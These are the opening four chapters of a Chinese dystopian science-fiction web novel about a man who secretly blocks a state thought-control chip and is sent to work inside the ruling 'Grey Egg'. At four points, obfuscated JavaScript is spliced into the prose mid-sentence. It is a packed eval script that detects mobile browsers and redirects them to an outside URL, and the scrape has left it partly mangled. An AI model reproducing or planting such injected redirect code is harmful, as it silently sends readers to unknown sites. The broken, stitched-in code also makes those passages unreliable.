《立入禁止》 1. 第 1 章 “CI48865479号，有人举报你有犯反人类罪的嫌疑，检察官要求介入调查。”叶明冉刚刚掐掉了床头的闹钟，就听到了一个冰冷的电子音提示。 电子音是好像是在他脑海里面发出的，透过植入脑内的一枚身份验证芯片，直接刺激着主管听觉的神经末梢，一般人得花点时间才能辨别出这到底是自己精神错乱，或者是“灰色巨蛋”——那个被他们成为“政府”的东西给它统治下的所有国民所发布的命令。 叶明冉却十分迅速地判定出了是后者，原因无他——因为他知道真正从自己脑海里面出现的声音不会是这样泛着冷铁光芒的电子音，而是另一种更加柔和的声音。 和从出生起就被植入芯片，无法分辨电子音和自己想法的国民不同，屏蔽芯片让他从出生开始的二十五年一直听着自己真正的声音。 “灰色巨蛋”发出的的声音被称为“真理”，而每个人脑内的芯片称为“真理器”。而任何屏蔽真理器的行为都被划为反人类罪。“蓝房子”有一套完善的法律体系和社会规则，放在公共图书馆里面供人查阅。 叶明冉闲的没事的时候曾经在法典上面读过，盗窃罪的刑法是一次□□死刑，而反人类罪的刑罚是极刑。 电子音报完之后，忽然叶明冉“看”到了一个三十分钟倒计时的画面——这是检察官到来的时间。 “还来得挺快的。”倒计时的画面在他闭着眼睛的时候几乎像是一块红色的烙铁烙在他视网膜的黑暗里，叶明冉一边想一遍忍无可忍地睁开了眼睛。 “极刑”是个什么东西，叶明冉心里没底，但他却打心里对巨蛋所制定的刑罚嗤之以鼻。 身体的死刑没什么大不了的。 叶明冉刚搬到这里来的第一天，隔壁房间一个矮小的中年人在盛夏里面裹着一件大衣，在门口瑟瑟发抖。叶明冉注意到他的头发灰白相间，身体则弯了一个弧度，让他整个人看起来像一把弯镰刀。 “嗨兄弟，我前天因为在路上捡了一块面包，被那些‘猎狗’发现了，直接被判了一次死刑。地狱的感觉真是冷极了。” “弯镰刀”一边用颤巍巍的手摸出钥匙，一边很自来熟地最叶明冉说。 精神的死刑也没有什么大不了的。 叶明冉自己也经历了一次死刑，和“弯镰刀”的情况差不多但是情节严重很多——他在试图在路上扶起一个摔倒的女孩子。 女性是巨蛋公开宣布的稀有资产，和她们没有血缘关系或者登记恋人关系的男性，是不能有“包括衣服的在内的身体接触””或者“搭话”这些打扰行为的。如果有这种行为，则会视为偷窃。 不过叶明冉的第一反应不是顺从得服刑，而是直接把“猎犬”打晕了试图逃跑。毕竟，有了屏蔽器的他在这个国家里面就和一个隐形人一样。 很不巧的是，周围巡逻的“猎犬”并不是只有一头。被打的那位直接触发了报警机制找来了周围的伙伴，立刻把叶明冉给围捕了。 “猎犬”是国家的公仆，于是殴打他们立刻就被上升到了反国家安全罪——刑罚是一次精神死刑。 精神死刑用的是神经铡刀，当虚拟刀尖落下的时候叶明冉觉得自己冷汗都出来了。那是一种难以忍受的感觉，并不仅仅是因为疼，而是那种疼将记忆里面那些美好的东西全部都抹去了，让受刑者无从扎根于回忆和期待中自欺欺人。 绝大多数经历过精神死刑的人最后都精神错乱了，“巨蛋”有一个专门的实验室用来收容这种人群——人权法特别条例允许这些被社会抛弃的废物在为人类社会尽一点最后的努力，不知道他们已经错乱的头脑在知道自己居然被委任了如此高尚的使命时候，会不会感动得痛哭流涕。 叶明冉因为各项指标正常而走出实验室的时候，在门口快意恩仇说得口水横流的“猎狗”被他打得鼻青脸肿的面上浮现出一种见了鬼一样的惊讶。 一脸皱纹的老门卫也是如临大敌的跑过来，拿起叶明冉的“通行证”左看右看，甚至想咬一口看看是不是真的——毕竟，从这到门走出来的人他在任的五十年内几乎没有怎么见过。 叶明冉在那些人见鬼一样的目光里面走出去的时候，心里十分快意。 现在叶明冉想来，正是那时候起就有人看他不顺眼，向来自巨蛋的“眼线”把他揭发了。今天一大清早，巨蛋又赶着要宣布他有反人类罪。 倒计时转眼过去十分钟，叶明冉直接爬了起来。 房间里面的陈设和他昨晚睡下去的时候一样乱糟糟的，三天没洗的陶瓷杯子倒在床下的地板上，旁边干涸的溅落状咖啡痕迹暗示着这个杯子如何九死一生。 叶明冉爬起来，直接越过那片黑色的污渍，从地板上拖把一样的衣服里面的找出了自己今天要穿的衣服和袜子，又弯下腰从床底下把一只皮鞋给拖了出来。 叶明冉左顾右盼，终于在房间的角落里面发现了他的椅子。 那椅子成了一个衣架子，和地上的拖把们和谐的融为了一体，但是椅子前面有一张和房间内容格格不入的整洁的书桌，格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579048|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外扎眼。 巨蛋的国民多不识字，反正对他们来说知识和规则都是可以通过“真理”直接获得的。书本和文字，对于被统治阶层本来就么有什么特别的意义。 一个普通的人识字，这件事情本身就可能被猎犬们盯上。 叶明冉拎着他的衣服，穿过大半个房间，坐在因为承受了太多衣服的重量而要倒下的椅子上，勉强维持了平衡，开始挑袜子。 他连看了五只颜色各异的袜子，才挑中了一只红色的，然后他把手伸进去从里面掏出一只小小的戒指来。 虽然叶明冉不觉得他屏蔽“真理器”的行为会暴露，检察官真的来了可是要抄家的，而叶明冉不能让这个戒指被拿去。 有人和他说过，这个戒指里面，有着人生所有的意义。 不过他也没有找到了立刻可以藏它的地方，因此他把戒指暂时自己中指上，开始换衣服。 叶明冉不知道来宣布极刑的到底是怎么样的人，他还是打算穿的正式点——留个搞不好能说服对方这是个误会。 叶明冉这么淡定从容的原因并不仅仅是因为他对屏蔽器隐蔽性的自信，更是因为巨蛋里面漏洞百出的执法手段。 反人类罪在巨蛋的法律体系情节最为严重，却也是误判最多的一种罪名。 误判多发的原因来自于刻意举报和私怨。叶明冉觉得，可能是因为巨塔对于把握其国民的想法偏执到了难以置信的地步，所以举报一个人犯反人类罪居然不需要实名，哪怕之后发现举报毫无理由也不会追究举报人责任。 实名举报的意义，只是让巨塔在处理的时候更加优先一些，因为显然用实名的人觉悟更高，意志也更坚定。 每一次匿名的举报都会伴随一次无差别的搜查，巨塔抱着宁可错杀也不会放过的原则制定规则，并把一次判定权留给了检察官。 所以，为了澄清误会，在检察官面前留个好印象极其重要。 他苦笑着摇摇头，把脑海里面那个不知哪儿看来的，穷光蛋被富人捡去之后直接继承其财产的故事从脑海里面抖了出去。 叶明冉穿起衣服来轻车熟路，前前后后只花了五分钟。之后，他还把地上的衣服花了十分钟迅速收好了，把他的房间从一个垃圾场变成了一个可以下脚的正常房间。 最后，他把那些杂物一股脑儿丢在书桌上。 只是——他摩挲了一下自己中指上面的戒指，他还是没有找到适合藏它的地方。 这时候，门口传来一阵轻微的咔嚓声。 2. 第 2 章 叶明冉心里一紧，看向了门口，发现门口并没有开。门口的投信口却稍微闪了闪，好像有什么东西被投了进来——是谁赶着今天早上给他送了一封信。 在这个早就电子化了的时代，纸质文书本身就代表了一种正式和庄重的奢侈。 如果不是倒计时提示还有五分钟，叶明冉肯定会先看看是谁出于什么目的给他寄了这样一个充满古老贵族作风的东西。 “开门！”叶明冉被脑子里面的电子音突兀的打断，同时他听到了一阵敲门声。 倒计时显示还有三分钟。不幸的是，审问官提前来了。 叶明冉慌忙撸下了中指上的戒指，藏在掌心里。“你看你的运气这么烂，万一这个被发现了你就大发了……”他一边辛辣地自我讽刺着一边应了一声， “来了。”他把手往袖子里面藏了藏，可是门外的检察官即使来早了也没有给他拖延的机会。 ”砰”的一声，门被一脚粗暴地踢开了，变成了一扇破门。 “不要在检查官门前耍花样，你会死得很难看的！”一个高瘦的影子从转眼开了一个洞的门口慢慢走了进来，和着呛人的烟雾背着光叶明冉看清了他是个鹰钩鼻，左脸颊上有几个显眼的雀斑。 “检察官警号P69876”，电子音自己报道，鹰钩鼻男人眯成一条线的眼睛闪着一点危险的光芒，像巨蛋上的探照灯一样打量着叶明冉。 叶明冉立刻意识到这个检察官有点不好对付,因为他感到眼前这个鹰钩鼻有种软硬不吃的气场。 “我没有愚蠢到，试图从‘警长’手上逃走。”叶明冉想了一下，决定不要撞在霉头上，选了一个谦逊的开头。 鹰钩鼻有些满意地瞥了他一眼，不带任何感情的声音说道：“算你识相。” 然后，紧接着他在没有任何预兆的情况下切入了正题，“我要以反人类罪逮捕你。” 他用的居然是肯定句，叶明冉心里一惊。 他露出惊慌失措的表情，却借机迅速在心里过了一遍他的各种行为，确认了对方是在虚张声势。 “我……我没有……”叶明冉尽量回忆起他在精神死刑刑场看到的那些瑟瑟发抖的人的表情，并把它忠实地反应在了自己苍白的脸上。 可惜，鹰钩鼻并不打算买账。 “举报你的可不止一个人，你倒是说说三天前你在行刑室里面为什么没有遵循真理的指导啊？”他皮笑肉不笑地说道。 “真理……指导?”叶明冉重复了一遍，这次他的疑问是货真价实的，反而让他看上去有点像在开玩笑。 叶明冉一直知道自己的屏蔽器是单方向的，他只屏蔽了巨蛋对自己窥探，并没有屏蔽巨蛋向他发来的信息。组织的人说，这样会因为无法和大部分国民保持信息对称而导致暴露。 可是，他三天前也真的没有听到真理器里面传出什么声音。 鹰钩鼻的脸色越发阴沉：“我的工作是审问官，不是行刑官，所以我本来就是来审问的。根据你的回答对我们的用处，你可能会被免于极刑的惩罚。我再问你一次，CI48865479号，是谁教你屏蔽真理，并把你一起拉上反人类的道路的？” 叶明冉从他的话语里面品出了一点循循善诱的成分，这让他感觉到了一丝紧迫的危险——难道，真的在哪里暴露了? 他是不能暴露的，他还有未尽的使命，他还没有进到巨蛋里去。 叶明冉的手攥了攥那枚戒指，摇摇头，再次说道：“我不知道。”他的左手微微松开，坐出一个人畜无害的放松姿势，心里却盘算着怎样才能够到鹰钩鼻挂在腰上的装饰刀。 刀这种东西在巨蛋里面是不需要，根据叶明冉的经验，这个可能是某种类似于神经刀的武器——用来对付拒捕犯人。 “你看什么呢！”忽然面前的鹰钩鼻发出一声怒吼，同时他直接一手抓向叶明冉的头。 叶明冉微微皱眉，对方的敌意已经锋芒毕露，要是落在对方手里就麻烦了。 鹰钩鼻看似敏捷的动作在他眼里十分缓慢可笑，他原本想着轻轻松松地躲开，谁知道头顶忽然传来一阵剧烈的疼痛，他感觉自己的一撮头发被人牢牢地攥住了。 “躲不掉……”叶明冉这才意识到事情的严重性，鹰钩鼻没有给他惊讶的机会，他就算抓住了叶明冉的头发也没有丝毫大意，右腿毫不留情得朝着叶明冉扫过去。 膝盖磕在没有铺地毯的水泥地面上，很疼。叶明冉想，早知道就不把衣服收起来了。 鹰钩鼻占尽上风之后立刻把之前表面的礼貌扔了个干净:“小子，就算你不开口，我们也有无数的方法可以知道你的经历，你每天见过什么人，你每天在想什么。“真理”是无所不能的，你的一切龌龊的想法都会暴露在他之下。” “放屁。”叶明冉心里想，“不然你怎么不知道我现在手里就有你想要知道的一切呢？不然你怎么不知道，其实我自己也不知道我的……” “让我来看看你这个小混蛋能撑多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579049|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”鹰钩鼻一手好不松懈得抓着叶明冉的头发，另一只手去直接去拿之前叶明冉盯上的那个东西。 搞了半天，他不是要靠真理器的读心功能，而是想着动用私刑。 “滴滴滴滴滴滴滴……” 忽然一阵尖锐的电子音忽然响起来，“豁免权可能性，豁免权可能性，建议查看信件，建议查看信件” 叶明冉觉得一阵剧痛袭来，勉强睁开眼睛，模糊地看见眼前鹰钩鼻痛苦得捂住了脑袋，他扭曲的脸近在眼前。 “你收了什么信件，快点拿出来。”叶明冉觉得太阳穴好像被穿了一根烙铁，指了指门上的信箱。 “我……还没来得及看，你他妈就进来了。”叶明冉的从牙缝里面挤出了反击的声音。 鹰钩鼻跌跌撞撞地去跑去那扇被他踢得粉碎的门边上，从变形的信箱里面拉出一封信来。 “还真有……嘶啦”拿到信的瞬间，头脑中那个压迫力极大的电子音忽然声音小了一点，只是如同细针尖刺穿一样的疼法还是让他呻吟起来。他匆匆瞄了一眼信件，看到是一封邀请函，正想一把撕开。可是，当他蜡封上面的纹章时候，眼睛里面的神情惊怒交加。他两手捧着信，跌跌撞撞地走到了叶明冉面前，把信放在他眼睛下面。 “你快给我打开……这信要亲启！”这实在是一件十分滑稽的事情，什么都电子化了只要一个认证代码的时代，一个蜡封居然有了“亲启”的最高礼遇。 叶明冉的手指碰到信件的时候，电子音忽然戛然而止。他这才注意到，这个蜡封只是一个极薄的认证芯片。 他打开的那封邀请函的时候闻到一股玫瑰的清香，让他想起了他扶起那个女孩时鼻尖轻嗅到的味道。 那股味道夹杂着回忆如同冰泉一样熨过他紧张的神经，让他发抖的指尖不由自主地撕开了那个蜡封。 鹰钩鼻不知道避嫌还是害怕，居然不敢看正眼看他拆信的过程。叶明冉却觉得他周身都散发出来的窥探的气场，像猎人看着他的猎物一样。叶明冉觉得，等他一拿出信，完成“亲自拆封”这个过程这个检察官一定会第一时间扑上来，继续履行他的职责。 叶明冉心中闪电般划过一个念头，他小心地把蜡封坏了一般的信封掀起一点，做出珍重拆信的样子，让掌心那枚戒指滑进了信封里。 然后他假装皱了皱眉，做出蜡封不好拆的苦恼表情，向着检察官说，“好了，你快来看内容，我不识字。” 检察官立刻扑了上来。 3. 第 3 章 “你运气不错”检察官一边读着信，鹰钩鼻子给他的嘴唇上都投下了阴影。 “你前几天在路上扶起来的那位小姐，那天正好和她的前任解除了‘婚约履行可选择义务’的关系超过七十二小时，遇到你时正处于‘可自由决定关系’的状态。她既然出于自我意愿选择你，那基于稀有资源保护法及其伴侣的优先适用原则，我们决定将对你的刑罚缓期执行。政府会给你一份正规的工作，视同劳动改造。” 检察官讲话的声音像个法典阅读机一样枯燥，叶明冉却从中听到了一点嫉妒和焦虑的成分。 “她居然还给了你一枚戒指?”末了，检察官对着信封里面掉出来的小银环说道。 叶明冉做出第一次看到戒指的好奇表情，心里却在暗暗嘲讽检察官根据一封信就直接相信了这枚戒指一定也是送给他的事实。 检察官笃定的表情让他觉得有点发想笑。为了继续不让他怀疑，叶明冉装作由此看见，紧紧盯着那枚戒指，问道:“这是给我的么，我可以戴么？” 鹰钩鼻险恶地看着他。 “你也别太得意了。戒指根本不算什么。” 叶明冉当然知道不算什么，本来这东西就是他自己放进去。 不过，他没有表现出过适度惊讶的表情好像在鹰钩鼻眼里成了一种傲慢，让他十分火大。 “你们现在只是一个随时可以单方面解除的关系，你依然是反人类罪的犯罪嫌疑人，在我们调查结束证明你无罪之前，你无法和她见面。一旦那位小姐不再选择你，或者你又有了什么龌龊的念头背叛了她让她愤怒，你一定会……”检察官有点恶狠狠地说，忽然又发现，如果这段关系解除了眼前这个年轻人就会被执行极刑了，而所有的威胁在极刑本身面前都算不了什么。 想到那个极刑的内容的传说，检察官忽然觉得自己的胃都开始发抖。他不由自主地看了一眼叶明冉满不在乎的脸，看见后者似乎正试图用手去够一只塑料圆珠笔，“放尊重点，用钢笔签！”他恶狠狠地呵斥道。 “我知道了。”叶明冉轻描淡写地说道，转身走到这个房间唯一整齐的书桌边上，从笔架里面抽出了一支钢笔。那笔因为常年不用，笔尖的墨水已经凝固了。 叶明冉草草朝着笔尖哈了口气，直接在“同意”那一栏里面写下了自己的名字。 出墨不顺的钢笔和叶明冉不甚熟练的笔画交相辉映，最后留下了一个不甚清晰的签名，显得格外的懒散随意。 检察官狠狠地瞪了叶明冉一眼，从他手里抢过了那封珍贵的邀请函，同时从上衣口袋里面拿出一个像鹅卵石一样的识别器，粗鲁地对着叶明冉的额头。这次却不是为了严刑逼供了。 “成立了，来看你的劳改内容吧。” “滴滴”两声，识别器发出了通过的提示，然后一行文书直接映在了两人的视网膜上。 “你这样的人，他们居然还为你安排了一份这么体面的工作。还是在巨蛋！”鹰钩鼻不可思议地惊叫道。 叶明冉听到他声音里面终于有了一点后怕的感觉，心头冒出一点不合时宜的得意。其中还有点得来全不费工夫的沾沾自喜。 谁知道，那声音随即转为幸灾乐祸的兴奋，“实验室？原来是要你去看那些废物啊。” D环区的这个小酒吧和同区的最大红灯区只隔了一条巷子。灰色巨蛋的分区呈现环形，从A区到E区，居住人口随着逐渐远离中枢递减，但夜晚娱乐人口却呈现出相反的趋势。除了E区基本上是一片连接大外围大荒原的空地，从A到D红灯区面积和消费人口呈现递增趋势。D区最大的红灯区几乎可以说是整个巨塔最热闹的地方。 只是，它隔壁的那条巷子，也不知道是不是风水不好，几乎没有借到一点东风。 晚上十点，夜生活才刚刚开始，隔壁灯红酒绿的气息一条巷子都拦不住，这个小酒馆却门可罗雀——里面只有一个年轻人和一个矮小的中年人。 年轻人是叶明冉，中年人是他的邻居弯镰刀。 “老弟！没想到，你居然运气好到这种地步……以后，以后要是发……发达了，可不要忘了曾经隔壁的老兄我……”弯镰刀喝了两杯劣质啤酒，大着舌头就开始说话。 叶明冉心不在焉地把杯子里面不知道混了多少水的威士忌干了，心不在焉地“嗯”了一声。 弯镰刀自己知道有点没趣，就开始偷偷打量叶明冉，觉得这小子好像有什么心事。 弯镰刀自认为和别的趋炎附势的人不一样，他是真的关心这个隔壁的邻居的并且应该共享他的这份荣誉的。 其证据就表现为——那天他出门的时候看到叶明冉的门坏了，检察官还和叶明冉起了争执，他是在门口冒着被发现的危险躲着看到最后，等检察官走了还帮叶明冉修好了门理好了东西简单地处理了擦伤，最后第一时间知道了这位邻居居然有了个未婚妻而且要去巨蛋工作的消息。 一般人可不知道实验室是什么，反正进入了巨蛋，就是进入了这个国家最中枢的地方，总是有大好前程在等着他的。 所以弯镰刀二话不说就拉着叶明冉要开“饯别宴”，怕晚了一步人进了巨蛋就再也见不到了，也怕选个热闹的地方边上的看到了都来沾点光，自己最后捞到的好处就少了。 怀着惴惴不安的心情，弯镰刀坐了两个小时才发现怕人多的担心纯属多余。 这个小酒吧是叶明冉选的。他们在这里已经坐了两个小时，根本没看到别的客人进来。 老板似乎也对经营没什么兴趣，客人进来带到桌子边上草草上了两杯酒就径自出了门，还直接把门带上了。 “酒水自助的，你们自己在吧台取就行。”这是那个染红发留着两撮小胡子的大肚子老板出门前留下的最后一句话。 弯镰刀想起酒吧老板穿过小巷子，好想是去红灯区的方向了，心里浮现出一种郁闷的情绪，再看看似乎在看着空玻璃杯发呆的叶明冉，忽然涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579050|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一股强烈的想说话的情绪来。 “唉……我说，你这么点小的年纪，怎么和我这种孤寡人家一样早出晚归死气沉沉的啊。”劣质啤酒上头快，清醒起来好像也很快，弯镰刀很快就把自己的舌头给撸直了。 他从第一次看到这个年轻人的时候，就觉得他有种不一样的感觉。他也不知道怎么形容，但是就像是在一堆一模一样的白纸上面看到了一张带颜色的，觉得格外新鲜。 “性格就是这样。”叶明冉翻了个白眼，“死气沉沉”地答道，“总觉得不大真实啊，怎么忽然就有了婚约，对方还是个，我连脸都记不清的……” 叶明冉这部分抱怨倒是真的，只是觉得不大真实的并不是婚约，而是可以这么轻松就进入巨蛋的内部。 原本，他还想着要先应聘“猎犬”，从底层慢慢做起，才能有万分之一的几率被选进巨蛋。 “啊哈哈哈哈哈哈……”弯镰刀听到他的抱怨，笑得上气不接下气“你真是个生在福中不知福的家伙，幸亏这里坐的是吃喝嫖赌一样不沾的品行优良的我。” 他指了指窗外，隔着一条巷子可以听到红灯区里面传来的欢笑声。 “女性人口只有人口总数的5%，是名副其实的稀有物种，她们中间有些人还不打算选择伴侣。有些人，他们倾家荡产也只不过能去风俗店里面体验一下仿生的冒牌货，虽然这条街都掌握在一个女性的手里。现在有一个真货愿意选择你，你居然还在在意之前认识不认识。”弯镰刀说着说着，又给自己加了一杯劣质啤酒，“你是返祖成原始人了么，居然还抱着自由……自由恋爱这种古老的思想。”他喝了一口啤酒，似乎很满意自己还能记得这种生僻的词汇。 哪知道叶明冉却对这个词汇很感兴趣，“自由恋爱？那是什么？” 弯镰刀知道这个词语已经不错了，哪还能进一步解释，于是他眼睛一转，答非所问地总结道：“这是这个时代的奢侈。” 谁知道，叶明冉像是一辈子的好奇心都花在了这个词语上面一样，居然开始了死缠烂打——带着灌酒性质的那种。 “就是……你可以……自由地……”被灌了十来杯啤酒混合威士忌的弯镰刀终于带着未尽的答案阵亡在了吧台上。 “自由的……什么？”叶明冉自己也喝了不少，说话断断续续的，眼睛里面泛着一种不清醒的红色。 弯镰刀用一阵轻微的鼾声表示了回答。叶明冉的头垂了下去，埋在了手臂里面，似乎也醉得不轻。 酒吧里面也不知道有没有调过的时钟指向了十一点，时钟移动的时候发出了一阵轻微的“咔嚓”声，叶明冉忽然抬起头来。 “约定的时间已经到了。”他轻轻地对着地板说道，刚才喝醉后的不清醒和眼睛里面的红色一下子消失得一干二净。 没有反应。“再不出来，我就走了。钱也不付了。”叶明冉说道。 小酒吧的门忽然开了，一个人红头发的人走了进来。 4. 第 4 章 叶明冉看了一眼自己手上的戒指，自从检察官误认为这是“那位小姐”给的礼物之后，叶明冉就每天都大大咧咧地戴在手上了。 其实，这枚戒指是他和“过去”唯一的联系。 叶明冉只有最近一年的记忆，过去的一年里他熟悉并知道了这个世界的规则。是的，在“组织”的东西找上他前，他的过去只剩下这一枚戒指。 之后，被红头发称为BOSS的那个人找上了他，“这个戒指里面有你想知道的东西，但是能破解它的技术在巨蛋里。” “组织”也是和巨蛋一样，用的是直接侵入意识形态的说话方式。 “你是我们屏蔽芯片的植入者，你的内心想法的最隐秘的部分是被保护着的。” 叶明冉没有见过那个被称为BOSS的人，却从他的话语里面本能知道他是对的。 空虚的感觉让叶明冉知道，如果没有可以追溯的过去作为起点，红头发所描述的那些美好的终点毫无意义。 “我知道了，你其实是那边的间谍吧？我把你刚才的话报告给BOSS，你看看他会怎么想？”叶明冉冷冰冰地回道。 “别较真，我只是说着玩的。”红头发似乎也意识到了叶明冉对于过去的执念，又觉得自己刚才的玩笑话真的有通敌嫌疑，灵机一动，走上了另一条煽情路线，“还都是因为担心你被他们抓住小尾巴，毕竟反人类罪可是重罪，可是要判极刑的……’。”他说道这四个字的时候，向来满不在乎脸上忽然表情黯淡。 “极刑到底是什么？”叶明冉问道，他想起那天那个嚣张的检察官似乎也很不想提到这个词，哪怕是用来威胁。 “字面的意思……”红头发闷闷地说道，似乎也不想多谈，或者是根本不知道。 这时候，一直趴在吧台上的弯镰刀忽然翻了个身，把自己的左脸颊浸在了刚流出来的口水里。 “兄弟……”他醉得半死说了一句梦话，看上去有转醒的倾向。 意识到时间不多，叶明冉放弃了追问，简洁说道：“我明天开始去巨蛋报道，之后适用单方联系判定规则。” 所谓单方联系，就是叶明冉三个月单方面不给组织联系时，视为失踪或者脱离组织，组织不再有支援或者寻找他的义务。 执行危险度高或者有殉职危险的任务的人，通常会在出发前和组织报告选择此规则。 酒吧老板给自己倒酒的手顿了一下，随即把酒瓶放下了，被子里面半杯酒直接举向头顶，和叶明冉放在吧台上的空杯子碰了碰。 “祝你好运，我的战友。”他严肃地说。 叶明冉在冰冷的睡眠仓里面睁开眼睛时，才知道为什么红头发要用“好运”这个词。 “我们转送装置的预设是完美的，不可打破的。进出双线路，且只能传送处于睡眠状态下的DNA采集者本人。你们每两个月可以有一次因私外出的机会，到时候物资办会给你们发两支睡眠剂和申请表，你们可以拿着它去找‘门’的管理者。两个睡眠剂是装在一个打通的容器里面的，这意味着打开一支另一支也会同时被开封。我不会告诉你们是什么让它变质，而且我打赌就算你想要分析也分析不出来。” 叶明冉刚一睁开眼睛，睡眠仓就感知到了，舱门上嵌着的小液晶屏上面开始播放题为“巨蛋工作准则”的长篇大论。主讲人是一个带着白色面具的男子，他的声音如同电子音一样，没有任何起伏。 “你们每次外出的时限是二十四个小时。睡眠剂的有效期也只有二十四小时，也就是二十四小时内你必须让自己在‘守门者’活动范围内让自己进入可回归的深度睡眠。记得穿着你们的工作服。” 之前叶明冉曾经听过那些关于巨蛋是如何不可入侵的传言，但想着进去的时候总能知道如何进去的路线，以及出来的时候总能找到一个出口。 这些想法在前来迎接他的人给了他一针睡眠剂，并命令他自己自己打下去的时候，叶明冉就开始觉得有点好笑了。 当他在深度睡眠中被强制唤醒，发现身上的衣服都被脱得一干二净，换上了一种类似医生的白大褂的衣服时，他开始觉得想通过追踪或者录像装置的想法好笑了。 突然，他意识到了一个很严重的，连忙去看自己的右手中指——那枚戒指还在他的手上。 液晶屏里面的人好像熟知他内心所想。“经过报备的私人物品，可以作为特例随身携带。”那个带着面具的男人说明道。 叶明冉隔着液晶屏能感到他的目光，却没有从中感受到一点感情的成分，如同夜晚的灰色巨蛋周围总是闪耀着的探照灯。 “……”叶明冉心里的吃惊直接反映在了脸上。他自恃自己的想法永远不会被窥探，所以大大咧咧进入了巨蛋，却没有想过巨蛋里面可能有更高一层的技术，“组织”为他植入的芯片完全可能被反破解。然后他那些叛逆的、隐秘的思想就会和被“真理器”监视着其他国民一样，暴露在光天化日之下。 他们要是知道了自己一直以来一直单方向拒绝像真理坦诚自己的内心会怎么样？他会被判反人类罪么？极刑是什么？他还能找回自己的过去么？ 一连串的问题在叶明冉的脑海里面翻腾，他感到液晶画面上的面具男的目光如同毒蛇的信子一样黏在了他的身上，却依然面无表情，仿佛在等待一个时机将所有这一切变本加厉的报复过来。 “你……”忽然面具男开了口，叶明冉感觉自己的心被高高吊起了，“你对我刚才的说明有什么问题么？” 叶明冉：“没有……”然后他的目光不由自主地看着睡眠舱上面一个凸起的白色半球，试图让自己平静下来。 “这是睡眠舱的舱门，你的指纹和虹膜信息已经更新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579051|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完毕，等待说明完毕后你就可以离开睡眠区域自由活动。你的认证能通过的范围都是你的活动区域。睡眠舱是你平时的休息区域。”面具男解释道。 “没有一句是刚才那些秘密。”叶明冉松了一口气，瞬间领悟到这个睡眠舱对于思考的监控仅仅停留在表面——比如，眼球转动的方向。所以，当叶明冉看向自己的手的时候，会有关于戒指的解说；而当他抬眼看向舱顶时，又会有关于出入口的解说。 “又有别的人进来了，如果你没事的话我打算去对下一位进行说明了。你的工作地点是实验室。”男人的口吻里面带了一丝鄙视，想到鹰钩鼻提到这个的时候也是差不多的表情，叶明冉心里大概知道了这个所谓的实验室是个多么给人不待见的地方。 “没事。”叶明冉默默地顺着回答吐出了一口憋了很久的空气，“那么，我现在可以出去熟悉一下工作环境了么？” 回答他的是液晶屏一下子断了电，变成了黑屏。 当叶明冉通过虹膜和指纹双重验证，顺着各种指示引导迈入工作区，见到他的上司——一个神情呆滞脸上刻着皱纹泛着油光拿着试管的老头时，他才知道所谓的“实验室”工作的全貌——真的就是在一个实验室里面工作。 外面对于巨蛋内部的构成众说纷纭，但是大致推测整合了政府中枢、执行终端、军事要塞、科研中心，至少拥有量子级以上的计算能力，并且能防御核武器攻击。 叶明冉刚听到实验室的时候以为自己会进到所谓科研的系统的中枢，这和他的目的相吻合。谁知道，所谓的实验室居然是个这样落后的地方。 “新来的，我是负责人，叫彼得，那边那个年龄很大的叫赫塞。赫塞旁边的空位置是你的。”他指了指被称为赫塞的人左边的一张椅子，那张椅子上面居然还搭着一件白色的工作服。 听到负责人提到自己，“赫塞”没有回头。确切来说，他没有任何反应。 自称彼得的人浑浊的视线从使馆上移开，放到叶明冉脸上，发现他对着一件一副大眼瞪小眼的时候，轻轻地笑了笑：“这是原来这个位置上的人的衣服，忘记带走了，你随便丢了就好。” 他平静的叙述让叶明冉没由来地感到很多疑惑，“原来的位置”、“没有带走的衣服”、“随便丢了” 巨蛋这种人人都挤破脑子想进的地方，居然会有空缺么？叶明冉想了想，还是决定把说人话的那一套拿来用一下，“原来是去别的地方高就了？那我要不要给他把这衣服送过去？” 叶明冉尽量维持住脸上的笑容，就像一个初入社会的大学生一样谦卑。 彼得用看着神经病一样的眼神看着他。 